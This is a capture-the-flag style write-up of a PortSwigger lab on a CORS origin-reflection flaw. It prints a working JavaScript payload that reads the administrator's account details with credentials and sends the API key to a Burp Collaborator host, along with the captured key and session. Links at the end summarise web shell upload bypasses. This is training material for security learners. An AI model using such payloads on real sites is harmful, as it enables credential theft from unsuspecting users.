On this page
CORS Vulnerability with Basic Origin Reflection
Lab
CORS vulnerability with basic origin reflection · Apprentice
Solution
Given
This website has an insecure CORS configuration in that it trusts all origins.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.
You can log in to your own account using the following credentials: wiener:peter
Analyzing the task
We're given a site whose CORS headers are insecurely configured, and ACAO simply reflects the Origin header. We need to find the endpoint that exposes the API key and exfiltrate it to our server.
Recon
First, let's find the endpoint that returns the API token:
GET /accountDetails HTTP/2
We send the request to Repeater. Add an Origin: https://ya.ru header for testing, send it — yes, the server adds ya.ru to ACAO. We can build the payload.
Building the payload
PortSwigger gives a nice template to start from:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Let's plug in our GET /accountDetails and exfiltration to Burp Collaborator — lg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a0d00db04ed6de980ea0321007000d2.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//lg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com/log?key='+this.responseText;
};
</script>
The request lands, decode the response:
{ "username": "administrator", "email": "", "apikey": "jzf1QJXYkPxziewNiNtqMjZQY3tZGm8l", "sessions": ["kO1D55tBNiHVngwAxcDKzleadUQWgwqT"] }
Lab solved.
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.